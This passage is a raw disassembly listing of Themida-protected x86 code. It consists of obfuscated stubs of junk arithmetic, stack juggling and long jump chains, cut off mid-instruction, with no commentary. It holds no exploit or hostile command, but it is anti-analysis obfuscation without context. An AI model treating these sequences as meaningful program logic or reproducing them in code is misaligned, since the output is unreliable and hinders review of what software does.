add eax, 0E8BB92D8h jmp loc_5AD0FD ; --------------------------------------------------------------------------- loc_599D2D: ; CODE XREF: Themida_:005AE7A5j pop esi and edx, edi pop edi xchg esi, edx not esi push edx jmp loc_5A27CF ; --------------------------------------------------------------------------- loc_599D3B: ; CODE XREF: Themida_:0059C4F1j mov ebp, [esp] jmp loc_5AA991 ; --------------------------------------------------------------------------- loc_599D43: ; CODE XREF: Themida_:0059A9CBj jmp loc_59838C ; --------------------------------------------------------------------------- loc_599D48: ; CODE XREF: Themida_:005A3D17j mov esi, [esp] push ebx jmp loc_5A2534 ; --------------------------------------------------------------------------- loc_599D51: ; CODE XREF: Themida_:005A3D7Dj xor ebp, [esp] jmp loc_5A835A ; --------------------------------------------------------------------------- loc_599D59: ; CODE XREF: Themida_:005A3953j push edx mov edx, 4EE319EAh sub esp, 4 mov [esp], ebp mov ebp, 543559AEh dec ebp not ebp jmp loc_59F768 ; --------------------------------------------------------------------------- loc_599D72: ; CODE XREF: Themida_:005ACA34j sub eax, 5D012487h not eax jmp loc_59A2E2 ; --------------------------------------------------------------------------- loc_599D7E: ; CODE XREF: Themida_:005ABF83j pop ecx add esp, 4 sub esp, 4 mov [esp], edi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edi push eax jmp loc_59A27D ; --------------------------------------------------------------------------- loc_599DA3: ; CODE XREF: Themida_:005AADB6j mov eax, 66C560BBh or eax, 21F11384h dec eax xor eax, 58252B0Fh xor eax, 36792564h push edx mov edx, 63D365Ah jmp loc_59CE6E ; --------------------------------------------------------------------------- loc_599DC3: ; CODE XREF: Themida_:005AC3D7j pop edx mov ch, bl jmp loc_59DBAE ; --------------------------------------------------------------------------- loc_599DCB: ; CODE XREF: Themida_:005A4310j pop cx jmp loc_59D39F ; --------------------------------------------------------------------------- loc_599DD2: ; CODE XREF: Themida_:005994FAj mov eax, [esp] add esp, 4 push small 0 sub [esp], dh mov dh, [esp] add esp, 2 shr dh, 4 jmp loc_59CB53 ; --------------------------------------------------------------------------- loc_599DF0: ; CODE XREF: Themida_:005A1F50j ; Themida_:005AA5A9j pop eax xchg esi, [esp] pop esp mov [esp], ebx push 23D8h mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 push edx mov edx, 418338A8h inc edx and edx, 62106B7Ah neg edx sub edx, 0BFFFD7D6h add ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_5ABE06 ; --------------------------------------------------------------------------- loc_599E3F: ; CODE XREF: Themida_:005A345Bj push 57CEh mov [esp], edx sub esp, 4 mov [esp], edi push 1D513106h pop edi and edi, 36554B56h jmp loc_5AB91F ; --------------------------------------------------------------------------- loc_599E61: ; CODE XREF: Themida_:005A4A07j jns loc_5A43B7 sub edx, 46DC0FA9h sub edx, 0B1B53980h mov esi, ecx pop ebp loc_599E76: ; CODE XREF: Themida_:005991A6j pop ebx add ecx, 26930F16h add ecx, 195C0535h xor ebx, ecx pop ecx push ecx push 36C8476Ch pop ecx jmp loc_598994 ; --------------------------------------------------------------------------- loc_599E92: ; CODE XREF: Themida_:005A905Aj mov ebx, eax jmp loc_598E1A ; --------------------------------------------------------------------------- loc_599E99: ; CODE XREF: Themida_:005A51ADj pop ebx pop dword ptr [esp] pop esp jmp loc_5A818D ; --------------------------------------------------------------------------- loc_599EA3: ; CODE XREF: Themida_:005AEAC5j mov ebp, edx pop edx jmp loc_5AC2B5 ; --------------------------------------------------------------------------- loc_599EAB: ; CODE XREF: Themida_:00598863j push 1133h mov [esp], eax push ebp mov ebp, 544D12ECh jmp loc_59DAF5 ; --------------------------------------------------------------------------- loc_599EBE: ; CODE XREF: Themida_:0059B91Ej ; Themida_:005AF410j mov ebx, 1 and ecx, ebx mov ebx, [esp] push esi jmp loc_5A0EF2 ; --------------------------------------------------------------------------- loc_599ECE: ; CODE XREF: Themida_:0059AB6Bj sub eax, edx pop edx jmp loc_5A6310 ; --------------------------------------------------------------------------- loc_599ED6: ; CODE XREF: Themida_:0059F792j jmp loc_59FAEF ; --------------------------------------------------------------------------- loc_599EDB: ; CODE XREF: Themida_:0059CFFBj xor edi, 0D7791B02h sub ebp, edi pop edi pop edi or [edi+1Ch], ebp mov ebp, [esp] add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_599EF6: ; CODE XREF: Themida_:00599C6Fj add esi, 210C7189h jmp loc_5AF058 ; --------------------------------------------------------------------------- loc_599F01: ; CODE XREF: Themida_:00598675j mov ebx, esp add ebx, 4 push 364Dh mov [esp], eax jmp loc_598E90 ; --------------------------------------------------------------------------- loc_599F16: ; CODE XREF: Themida_:005A9F84j push ecx dec byte ptr [esp+1] pop ecx shl ch, 5 add ch, 0Eh add al, ch jmp loc_59BD60 ; --------------------------------------------------------------------------- loc_599F29: ; CODE XREF: Themida_:005AC409j mov eax, 4 push 7CA8h jmp loc_5A660B ; --------------------------------------------------------------------------- loc_599F38: ; CODE XREF: Themida_:0059E679j xor [esp], eax xor eax, [esp] pop esp jmp loc_5AB092 ; --------------------------------------------------------------------------- loc_599F44: ; CODE XREF: Themida_:005A694Dj pop ebx add al, 92h sub al, 94h push ecx mov cl, 0FDh neg cl neg cl jmp loc_5A4973 ; --------------------------------------------------------------------------- loc_599F55: ; CODE XREF: Themida_:005AA3BCj add edx, 320B1570h sub edx, 68B0464Ch sub edx, 32B101F7h jmp loc_5AC665 ; --------------------------------------------------------------------------- loc_599F6C: ; CODE XREF: Themida_:0059C575j dec ecx not ecx jmp loc_5A8D92 ; --------------------------------------------------------------------------- loc_599F74: ; CODE XREF: Themida_:005A800Cj push edx jmp loc_5AA310 ; --------------------------------------------------------------------------- loc_599F7A: ; CODE XREF: Themida_:005A28FBj or ebp, ecx pop ecx add ebp, 46C750E7h xor ebp, 39F00D53h sub ebp, 9A79E5B3h add eax, ebp pop ebp sub esp, 4 mov [esp], ecx push esi jmp loc_5AAA8C ; --------------------------------------------------------------------------- loc_599F9E: ; CODE XREF: Themida_:005A51C5j pop eax add ecx, 4 xchg ecx, [esp] pop esp add ecx, 69A00AF5h sub ecx, ebx sub ecx, 69A00AF5h pop ebx add ebx, ecx mov ecx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] push ecx push 1E58h mov [esp], edx jmp loc_5A75C1 ; --------------------------------------------------------------------------- loc_599FD4: ; CODE XREF: Themida_:0059A371j pop edi pop ebp sub dword ptr [esp], 5B0E0DD2h push 7EA2h mov [esp], ebp push edi jmp loc_5A709F ; --------------------------------------------------------------------------- loc_599FEB: ; CODE XREF: Themida_:005A681Dj add esp, 4 jmp loc_5A2CE3 ; --------------------------------------------------------------------------- loc_599FF3: ; CODE XREF: Themida_:005A3FF6j add edx, 7AB14EA7h mov ebx, edx pop edx jmp loc_5ACBB8 ; --------------------------------------------------------------------------- loc_59A001: ; CODE XREF: Themida_:0059D0ADj add cl, 2Dh mov dh, cl pop ecx add dh, 5 jmp loc_5A8472 ; --------------------------------------------------------------------------- loc_59A00F: ; CODE XREF: Themida_:loc_5AD4ADj push ebp mov ebp, 0ED060D3h neg ebp and ebp, 50A13385h not ebp xor ebp, 0DA008D7Ah or eax, ebp jmp loc_5A1406 ; --------------------------------------------------------------------------- loc_59A02C: ; CODE XREF: Themida_:005A354Dj push dword ptr [esp+4] jmp loc_59BBBD ; --------------------------------------------------------------------------- loc_59A035: ; CODE XREF: Themida_:005A925Bj jmp loc_59F136 ; --------------------------------------------------------------------------- loc_59A03A: ; CODE XREF: Themida_:0059FC37j ; Themida_:005A664Dj sub ebp, ecx pop ecx sub ebp, 28B52F40h add edx, 7C6612CAh jmp loc_59B6F5 ; --------------------------------------------------------------------------- loc_59A04E: ; CODE XREF: Themida_:005A369Ej ; Themida_:005AF180j push ecx jmp loc_5A0DAC ; --------------------------------------------------------------------------- loc_59A054: ; CODE XREF: Themida_:005AA21Cj pop edx push ebp jmp loc_5A1E9E ; --------------------------------------------------------------------------- loc_59A05B: ; CODE XREF: Themida_:0059F2D4j xor ebx, 0B7262831h jmp loc_5A1E97 ; --------------------------------------------------------------------------- loc_59A066: ; CODE XREF: Themida_:0059A2C8j mov eax, esp jmp loc_59C28F ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push 32A8h mov [esp], edi jmp loc_5ADC2F ; --------------------------------------------------------------------------- loc_59A07E: ; CODE XREF: Themida_:0059AD27j xor ebx, ebp pop ebp add ebx, 3F3239B9h shl ebx, 3 or ebx, 6B1616F7h jmp loc_5997C0 ; --------------------------------------------------------------------------- loc_59A095: ; CODE XREF: Themida_:loc_5A99A3j ; Themida_:005AAA9Aj xchg esi, [esp] pop esp jmp loc_59F8F9 ; --------------------------------------------------------------------------- loc_59A09E: ; CODE XREF: Themida_:005A52B3j sub eax, 5DB97B74h jmp loc_5AD36C ; --------------------------------------------------------------------------- loc_59A0A8: ; CODE XREF: Themida_:005A341Dj and edi, 2DCC7124h add edi, 0DBF7DFE0h add eax, edi pop edi xchg eax, [esp] jmp loc_59F9C7 ; --------------------------------------------------------------------------- loc_59A0BF: ; CODE XREF: Themida_:005A624Bj add ecx, 54752313h not ecx add ecx, 555D239Bh jmp loc_59F901 ; --------------------------------------------------------------------------- loc_59A0D2: ; CODE XREF: Themida_:005A0805j mov [esp], ebp jmp loc_5A788B ; --------------------------------------------------------------------------- loc_59A0DA: ; CODE XREF: Themida_:005A6672j push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add edi, 4 push 6025h mov [esp], ecx push ebx mov ebx, 2 mov ecx, ebx mov ebx, [esp] add esp, 4 sub edi, 2CDC4894h jmp loc_5A1B15 ; --------------------------------------------------------------------------- loc_59A116: ; CODE XREF: Themida_:005A1D59j sub ch, dl pop edx mov ebx, [esp] add esp, 4 add al, 68h add al, ch sub al, 68h push dword ptr [esp] pop ecx add esp, 4 push ecx mov ch, 5Bh and ch, 61h jmp loc_5A938C ; --------------------------------------------------------------------------- loc_59A137: ; CODE XREF: Themida_:005A6DB0j sub esp, 4 jmp loc_5AE9CC ; --------------------------------------------------------------------------- loc_59A142: ; CODE XREF: Themida_:00598735j ; Themida_:005AAE95j push dword ptr [esp] pop eax jmp loc_59B64D ; --------------------------------------------------------------------------- mov ax, [esp] push ebx jmp loc_5A8EAE ; --------------------------------------------------------------------------- loc_59A155: ; CODE XREF: Themida_:0059C1E4j pop edi add edi, 82EB96BFh add ecx, edi pop edi add ecx, 4 push ecx jmp loc_5AB7BB ; --------------------------------------------------------------------------- loc_59A16B: ; CODE XREF: Themida_:005AACBBj ; Themida_:005ABA7Dj add edi, ecx sub edi, 0D5F2FE7h push dword ptr [esp] pop ecx add esp, 4 push ebp mov ebp, 2 add edi, 475F2D6Fh add edi, ebp sub edi, 475F2D6Fh pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] jmp loc_59DB4C ; --------------------------------------------------------------------------- loc_59A1A0: ; CODE XREF: Themida_:005AF2EEj or ebp, 5A602026h xor ebp, 3E985C31h xor ebp, 4B9A81D1h jmp loc_5A1790 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] push small 73B0h mov [esp], ax jmp loc_59EEB0 ; --------------------------------------------------------------------------- loc_59A1C8: ; CODE XREF: Themida_:005A5A5Cj pop edi push 2D8Bh mov [esp], ebp jmp loc_5A3B2D ; --------------------------------------------------------------------------- loc_59A1D6: ; CODE XREF: Themida_:0059CBD5j ; Themida_:loc_5AEC1Dj add ecx, 4 xchg ecx, [esp] pop esp jmp loc_5A1B45 ; --------------------------------------------------------------------------- loc_59A1E2: ; CODE XREF: Themida_:005A8F39j add esi, eax sub esi, 36BA0E38h pop eax push edi mov edi, 6C400C84h mov ebx, 6C400C84h push ecx mov ecx, 6B806352h jmp loc_5A4B65 ; --------------------------------------------------------------------------- loc_59A201: ; CODE XREF: Themida_:005A261Cj neg edx jl loc_59910E xor edx, 1DAC4504h jl loc_5A13D2 jmp loc_5A95BD ; --------------------------------------------------------------------------- loc_59A21A: ; CODE XREF: Themida_:005A0B6Ej sub ecx, 175FB614h add esi, 28C0A9Dh sub esi, 2EDA560Dh jmp loc_5A99BC ; --------------------------------------------------------------------------- loc_59A231: ; CODE XREF: Themida_:0059B0ECj ; Themida_:0059E843j xor ebx, [esp] mov esp, [esp] push 35CAh mov [esp], ebp push esp push dword ptr [esp] jmp loc_599C7F ; --------------------------------------------------------------------------- loc_59A248: ; CODE XREF: Themida_:0059C8E7j push si push ebp mov bp, 2A7Ah sub esp, 2 jmp loc_59C7F6 ; --------------------------------------------------------------------------- loc_59A25A: ; CODE XREF: Themida_:005AF00Ej add ecx, 4 xchg ecx, [esp] pop esp add edi, 5E0E1621h add edi, 0CC58ECF3h and edi, 724857A7h not edi jmp loc_5AC6A9 ; --------------------------------------------------------------------------- loc_59A27D: ; CODE XREF: Themida_:00599D9Ej mov eax, 101A3D6Ch push ecx mov ecx, 9CAC40Fh jmp loc_5A11AD ; --------------------------------------------------------------------------- loc_59A28D: ; CODE XREF: Themida_:005AC0C4j push ebx mov bh, 4Fh or bh, 59h jmp loc_59846E ; --------------------------------------------------------------------------- loc_59A298: ; CODE XREF: Themida_:005A87C7j ; Themida_:005AA315j not edx xor edx, 0EC38A22Ah sub ebx, edx pop edx push dword ptr [ebx] sub dword ptr [esp], 0F3A43E2h pop ecx add ecx, 0F3A43E2h pop ebx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], eax jmp loc_59A066 ; --------------------------------------------------------------------------- loc_59A2CD: ; CODE XREF: Themida_:0059F2F4j ; Themida_:005A0A7Dj add bl, ch jmp loc_598F68 ; --------------------------------------------------------------------------- loc_59A2D4: ; CODE XREF: Themida_:005A8C73j shr edx, 1 and edx, 578803CFh xchg eax, edx jmp loc_5A41BD ; --------------------------------------------------------------------------- loc_59A2E2: ; CODE XREF: Themida_:00599D79j push esi mov esi, 1D18D9h sub eax, esi pop esi add edx, 0D6649ACh add edx, eax push ebp mov ebp, 561Fh xor ebp, 2CE2108Dh neg ebp neg ebp sub ebp, 1F7BFCE6h sub edx, ebp jmp loc_598B3C ; --------------------------------------------------------------------------- loc_59A310: ; CODE XREF: Themida_:005AE3FEj inc edx jo loc_5A8713 xor edx, 4902666Fh mov esi, edx pop edx xor ebx, esi pop esi push ebx mov ebx, 4B6E4852h add ebp, ebx pop ebx sub ebp, ebx sub ebp, 4B6E4852h pop ebx push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], esi mov esi, esp add esi, 4 add esi, 4 push 6233h jmp loc_5AD910 ; --------------------------------------------------------------------------- loc_59A35C: ; CODE XREF: Themida_:00598FEDj jmp loc_5A9EB6 ; --------------------------------------------------------------------------- loc_59A361: ; CODE XREF: Themida_:0059EA2Fj ; Themida_:005AA882j push 328Ch jmp loc_5AA946 ; --------------------------------------------------------------------------- loc_59A36B: ; CODE XREF: Themida_:005A200Ej pop edx sub edi, esi pop esi sub eax, edi jmp loc_599FD4 ; --------------------------------------------------------------------------- loc_59A376: ; CODE XREF: Themida_:005A8188j mov [esp], edx mov edx, 6BE55E05h shl edx, 3 add edx, 4254066Fh shl edx, 8 push 2D9Eh mov [esp], ebp push 3756192Ch pop ebp xor ebp, 71751C14h and ebp, 560253Eh add ebp, 21233B03h jmp loc_5AC1CD ; --------------------------------------------------------------------------- loc_59A3AF: ; CODE XREF: Themida_:005A26B7j sub esp, 4 mov [esp], esi sub esp, 4 mov [esp], ebp push 10968D2h jmp loc_5AF4D1 ; --------------------------------------------------------------------------- loc_59A3CB: ; CODE XREF: Themida_:0059BBBEj pop dword ptr [esp] pop esp mov ax, [esp] push 3986h mov [esp], edi push esp jmp loc_5AE179 ; --------------------------------------------------------------------------- loc_59A3E1: ; CODE XREF: Themida_:00599235j ; Themida_:0059C517j pop edi inc edi jmp loc_5A5092 ; --------------------------------------------------------------------------- loc_59A3E8: ; CODE XREF: Themida_:005AF258j push 6A24h mov [esp], ecx push esi push 40652BAEh pop esi sub esi, 7DCB961h mov ecx, esi jmp loc_5A7CE5 ; --------------------------------------------------------------------------- loc_59A404: ; CODE XREF: Themida_:005ACA66j mov esi, 31571AE2h push 4DB4h mov [esp], edi mov edi, 494674CCh sub eax, edi pop edi add eax, esi jmp loc_5A0DCE ; --------------------------------------------------------------------------- loc_59A420: ; CODE XREF: Themida_:005A197Cj jmp loc_5A2F71 ; --------------------------------------------------------------------------- loc_59A425: ; CODE XREF: Themida_:005AA20Fj sub ebp, edi jmp loc_5A2FD2 ; --------------------------------------------------------------------------- loc_59A42C: ; CODE XREF: Themida_:0059863Dj ; Themida_:005A0AD0j mov esi, 6D763817h dec esi jmp loc_59BBB6 ; --------------------------------------------------------------------------- loc_59A437: ; CODE XREF: Themida_:0059BB0Bj pop ebx push eax jmp loc_5A8C37 ; --------------------------------------------------------------------------- loc_59A43E: ; CODE XREF: Themida_:005AD3E2j inc ebx jo loc_5A0913 inc ebx js loc_5AB7CB xor ebx, 9C84D652h mov ebp, ebx mov ebx, [esp] mov ebp, edi loc_59A459: ; CODE XREF: Themida_:0059AB3Fj ; Themida_:005A1E1Aj mov ecx, [esp] add esp, 4 add esp, 4 push 3E6h mov [esp], edx push edi push ebp mov ebp, 0F005C8Dh sub ebp, 233C648Bh jg loc_5AF14C jmp loc_59C0BB ; --------------------------------------------------------------------------- loc_59A485: ; CODE XREF: Themida_:005A5EF2j push ebx push ecx mov ecx, 2E807594h xor ecx, 76AC2F20h add ecx, 0ACB909E7h mov ebx, ecx pop ecx sub esi, ebx mov ebx, [esp] add esp, 4 pop edx xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp inc word ptr [esp] pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59A4B8: ; CODE XREF: Themida_:005A44CEj pop esi jmp loc_59E838 ; --------------------------------------------------------------------------- loc_59A4BE: ; CODE XREF: Themida_:0059FE76j sub esp, 4 mov [esp], edi mov edi, esp push 7E53h mov [esp], ecx mov ecx, 667943AEh push edi jmp loc_5A67B0 ; --------------------------------------------------------------------------- loc_59A4DC: ; CODE XREF: Themida_:005AD6BEj push esi mov si, 265Ah not si push edi mov di, 442Dh jmp loc_59D6BB ; --------------------------------------------------------------------------- loc_59A4EE: ; CODE XREF: Themida_:005A4A8Bj push edx mov edx, 4 add [esp+4], edx pop edx jmp loc_5A6584 ; --------------------------------------------------------------------------- loc_59A4FE: ; CODE XREF: Themida_:005A80BFj push edi mov edi, 69A67DC9h push ecx mov ecx, 1 add edi, ecx pop ecx sub edi, 41C67FC0h add edi, 0DA2001F7h add ebx, edi pop edi loc_59A51C: ; CODE XREF: Themida_:005A26C8j sub esp, 4 mov [esp], eax push esi jmp loc_59C3FA ; --------------------------------------------------------------------------- loc_59A52B: ; CODE XREF: Themida_:0059F5F7j add esp, 4 jmp loc_5AA1F9 ; --------------------------------------------------------------------------- loc_59A533: ; CODE XREF: Themida_:005A6C91j xor ebx, 286B7471h jmp loc_59E850 ; --------------------------------------------------------------------------- loc_59A53E: ; CODE XREF: Themida_:005A13F4j pop esp push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp push ecx sub esp, 4 jmp loc_5A54D4 ; --------------------------------------------------------------------------- loc_59A555: ; CODE XREF: Themida_:005A907Bj mov esp, [esp] pop dword ptr [esp] mov esp, [esp] test cx, ax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_59A567: ; CODE XREF: Themida_:005A15A7j sub edx, ebp pop ebp and edx, 37F24FE4h shr edx, 2 xor edx, 0AC1779F2h sub edi, edx pop edx jmp loc_5AD578 ; --------------------------------------------------------------------------- loc_59A581: ; CODE XREF: Themida_:0059DA0Dj ; Themida_:005A7E18j push ebx jmp loc_5A00FF ; --------------------------------------------------------------------------- loc_59A587: ; CODE XREF: Themida_:005AC34Fj add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp mov [esp], edx mov edx, 258515DCh sub edx, 715554CEh sub eax, 39394CD4h jmp loc_5A2FA2 ; --------------------------------------------------------------------------- loc_59A5AC: ; CODE XREF: Themida_:005AB88Bj pop eax jmp loc_5A080A ; --------------------------------------------------------------------------- loc_59A5B2: ; CODE XREF: Themida_:005A64BBj ; Themida_:005AC59Cj mov al, dh pop edx sub ch, al mov ax, [esp] add esp, 2 jmp loc_5A77C3 ; --------------------------------------------------------------------------- loc_59A5C3: ; CODE XREF: Themida_:005A1785j add edi, edx add edi, 6E765D0Fh push esi jmp loc_59F3B5 ; --------------------------------------------------------------------------- loc_59A5D1: ; CODE XREF: Themida_:005A8E1Aj push cx sub esp, 4 mov [esp], edx mov dl, 23h push ebx mov bh, 4Dh mov cl, 0A3h jmp loc_59CC34 ; --------------------------------------------------------------------------- loc_59A5E8: ; CODE XREF: Themida_:005AB480j jmp loc_5ADB7E ; --------------------------------------------------------------------------- loc_59A5ED: ; CODE XREF: Themida_:0059ACE2j neg ebx dec ebx inc ebx add ebx, 21224779h xor ebx, 0D5C40E7Dh jmp loc_59C07B ; --------------------------------------------------------------------------- loc_59A602: ; CODE XREF: Themida_:005A7B20j sub esp, 4 jmp loc_5ACBD5 ; --------------------------------------------------------------------------- loc_59A60A: ; CODE XREF: Themida_:005A0EB3j pop ebx push edx mov edx, 28A320BBh and edx, 7067141Ah push esi mov esi, 63846C2Fh sub edx, esi pop esi jmp loc_5A9B44 ; --------------------------------------------------------------------------- loc_59A625: ; CODE XREF: Themida_:005993A7j push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_5A6623 ; --------------------------------------------------------------------------- loc_59A633: ; CODE XREF: Themida_:00599028j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push eax mov eax, 7D785340h shl eax, 5 push edx mov edx, 50F59804h sub eax, 1C0F4906h jmp loc_5A3857 ; --------------------------------------------------------------------------- loc_59A65B: ; CODE XREF: Themida_:0059997Dj ; Themida_:005A328Fj mov edi, 1D68780Fh push esi mov esi, 32744725h jmp loc_5A6120 ; --------------------------------------------------------------------------- loc_59A66B: ; CODE XREF: Themida_:005AD097j xor ecx, 2DE2309Bh push edi mov edi, 792EA419h jmp loc_5A6B85 ; --------------------------------------------------------------------------- loc_59A67C: ; CODE XREF: Themida_:005AF2B3j sub ebx, edx sub ebx, 7A60009Eh jmp loc_598E85 ; --------------------------------------------------------------------------- loc_59A689: ; CODE XREF: Themida_:00598F19j ; Themida_:0059D75Ej mov ebp, 464D2FCBh jmp loc_5A915E ; --------------------------------------------------------------------------- loc_59A693: ; CODE XREF: Themida_:005A98FBj add esp, 4 add ecx, 4 add ecx, 2 jmp loc_5AB0D6 ; --------------------------------------------------------------------------- loc_59A6A7: ; CODE XREF: Themida_:005A94D5j sub ebx, 0FFFFFFFFh and ebx, 78003E9h push esi jmp loc_59B252 ; --------------------------------------------------------------------------- loc_59A6B6: ; CODE XREF: Themida_:005A0EBEj add edx, 749C4715h jl loc_5ADA51 jmp loc_5A462F ; --------------------------------------------------------------------------- loc_59A6C7: ; CODE XREF: Themida_:005A5631j and eax, 0A63480Dh jnp loc_5ABEFF shr eax, 7 jmp loc_59CAD1 ; --------------------------------------------------------------------------- mov bl, al loc_59A6DC: ; CODE XREF: Themida_:005AF38Dj push edx mov edx, 14115E05h inc edx jp loc_5A01C2 jmp loc_59BAD7 ; --------------------------------------------------------------------------- jmp loc_5A7672 ; --------------------------------------------------------------------------- pop ebp add ebx, ebp sub al, 0F0h loc_59A6F8: ; CODE XREF: Themida_:005A0DA7j xor ebp, 226E73DCh push dword ptr [esp] mov eax, [esp] jmp loc_59A921 ; --------------------------------------------------------------------------- loc_59A709: ; CODE XREF: Themida_:005ABA5Dj pop ecx pop dword ptr [esp] jmp loc_5A267A ; --------------------------------------------------------------------------- loc_59A712: ; CODE XREF: Themida_:005AD172j mov [esp], ebx pop ecx pop ebx add eax, ecx push dword ptr [esp] pop ecx push 475Eh mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] jmp loc_5A8273 ; --------------------------------------------------------------------------- loc_59A73E: ; CODE XREF: Themida_:005A9C74j pop edx jmp loc_5A126E ; --------------------------------------------------------------------------- loc_59A744: ; CODE XREF: Themida_:005A94A9j sub esp, 4 jmp loc_59B3CF ; --------------------------------------------------------------------------- loc_59A74F: ; CODE XREF: Themida_:005A3C14j pop ebp jmp loc_5A10BB ; --------------------------------------------------------------------------- loc_59A755: ; CODE XREF: Themida_:005A0251j pop ebx shl eax, 2 jmp loc_5A2129 ; --------------------------------------------------------------------------- loc_59A75E: ; CODE XREF: Themida_:005A2025j push edi mov edi, 11FB00CFh add ebp, 31772A97h add ebp, edi sub ebp, 31772A97h jmp loc_5A2B9A ; --------------------------------------------------------------------------- loc_59A777: ; CODE XREF: Themida_:005985B5j xchg esi, [esp] mov esp, [esp] add ecx, edi push 5B4Ah mov [esp], edi mov edi, 7FFB0609h add ecx, edi pop edi jmp loc_5A13BF ; --------------------------------------------------------------------------- loc_59A794: ; CODE XREF: Themida_:005AD002j pop edx jmp loc_5A184E ; --------------------------------------------------------------------------- loc_59A79A: ; CODE XREF: Themida_:005A1DFCj mov ecx, 96B4B3D3h add ecx, 6AE479F1h push edx jmp loc_5ACCF0 ; --------------------------------------------------------------------------- loc_59A7AB: ; CODE XREF: Themida_:00598B61j mov eax, [esp] add esp, 4 push esi mov esi, 3A4F1A7Dh jmp loc_5ADBDD ; --------------------------------------------------------------------------- loc_59A7BF: ; CODE XREF: Themida_:005A2823j add edx, ecx pop ecx sub esp, 4 mov [esp], edi mov edi, 4 jmp loc_5A6137 ; --------------------------------------------------------------------------- loc_59A7D5: ; CODE XREF: Themida_:0059DEE4j pop ebx jmp loc_59BA50 ; --------------------------------------------------------------------------- loc_59A7DB: ; CODE XREF: Themida_:0059C19Bj not ecx push ebx mov ebx, 55466679h sub ecx, ebx pop ebx add ecx, 0B1D8A043h push ecx mov ecx, 5D742E6Fh sub ebx, ecx pop ecx add ebx, ecx add ebx, 5D742E6Fh push dword ptr [esp] pop ecx add esp, 4 push eax mov eax, 7A9E201Fh inc eax xor eax, 599B51BEh or eax, 658B2A12h push ecx mov ecx, 40C46F78h xor eax, ecx jmp loc_5AB152 ; --------------------------------------------------------------------------- loc_59A822: ; CODE XREF: Themida_:005A503Cj pop edx push 1414h mov [esp], edi mov edi, 0BD965AEh add eax, edi jmp loc_5A5839 ; --------------------------------------------------------------------------- loc_59A837: ; CODE XREF: Themida_:005ACB7Fj mov edx, 2 mov ebp, edx jmp loc_5A25D5 ; --------------------------------------------------------------------------- loc_59A843: ; CODE XREF: Themida_:005A6042j xor dh, 40h push eax mov al, dh mov bh, al jmp loc_59D4FE ; --------------------------------------------------------------------------- loc_59A850: ; CODE XREF: Themida_:005A3329j ; Themida_:005AA140j sub esi, 7E6D1C11h pop ebp pop ecx sub eax, esi pop esi push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_5A6A3E ; --------------------------------------------------------------------------- loc_59A872: ; CODE XREF: Themida_:005AB57Aj xor ecx, 59921C6Ch sub ecx, 707F2655h neg ecx add ecx, 0C11DE51Bh add ebp, ecx jmp loc_5AC2AF ; --------------------------------------------------------------------------- loc_59A88D: ; CODE XREF: Themida_:005AC456j jmp loc_59838C ; --------------------------------------------------------------------------- loc_59A892: ; CODE XREF: Themida_:0059F042j not edi jmp loc_59E4E5 ; --------------------------------------------------------------------------- loc_59A899: ; CODE XREF: Themida_:005A47C5j mov ebp, [esp] add esp, 4 push esi mov esi, 4 add ebp, esi jmp loc_59BC2A ; --------------------------------------------------------------------------- loc_59A8AC: ; CODE XREF: Themida_:0059F46Aj push esi mov esi, 3A4C100Bh add [esp+4], esi pop esi pop ebx sub ebx, 3A4C100Bh mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_5A334A ; --------------------------------------------------------------------------- loc_59A8D8: ; CODE XREF: Themida_:005A7647j xor ecx, 45A2DEE4h mov esi, ecx pop ecx sub ecx, esi pop esi xor ecx, [esp] jmp loc_59E66A ; --------------------------------------------------------------------------- loc_59A8EC: ; CODE XREF: Themida_:005A408Dj push ebx mov ebx, ebp mov esi, ebx pop ebx mov ebp, [esp] add esp, 4 and eax, esi push dword ptr [esp] jmp loc_59C11E ; --------------------------------------------------------------------------- loc_59A902: ; CODE XREF: Themida_:00598841j ; Themida_:005AB726j add ch, dh jmp loc_5AEA6B ; --------------------------------------------------------------------------- loc_59A909: ; CODE XREF: Themida_:005ACD73j mov edx, [esp] push 340Dh mov [esp], edx mov edx, esp add edx, 4 jmp loc_5A76CD ; --------------------------------------------------------------------------- loc_59A921: ; CODE XREF: Themida_:0059A704j add esp, 4 add esp, 4 and ecx, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push 0BF6h mov [esp], esi mov esi, esp push ebx mov ebx, 30DC465Dh shr ebx, 3 add ebx, 62D828B7h inc ebx xor ebx, 68F3B187h sub esi, 6194B4Bh add esi, ebx jmp loc_59E2B5 ; --------------------------------------------------------------------------- loc_59A965: ; CODE XREF: Themida_:0059F367j ; Themida_:005ADEF7j mov ebx, [esp] add esp, 4 add ebx, 0B59856C5h jmp loc_5A6CC6 ; --------------------------------------------------------------------------- loc_59A979: ; CODE XREF: Themida_:005AF4C4j jmp loc_5A6C56 ; --------------------------------------------------------------------------- loc_59A97E: ; CODE XREF: Themida_:005AED41j xor ebx, [esp] mov esp, [esp] mov [esp], ebp push 3A08h mov [esp], ecx mov ecx, 540E7BBFh add ecx, 0ABF18445h mov ebp, ecx mov ecx, [esp] add esp, 4 add ecx, 50E676B9h add ecx, ebp sub ecx, 50E676B9h pop ebp push 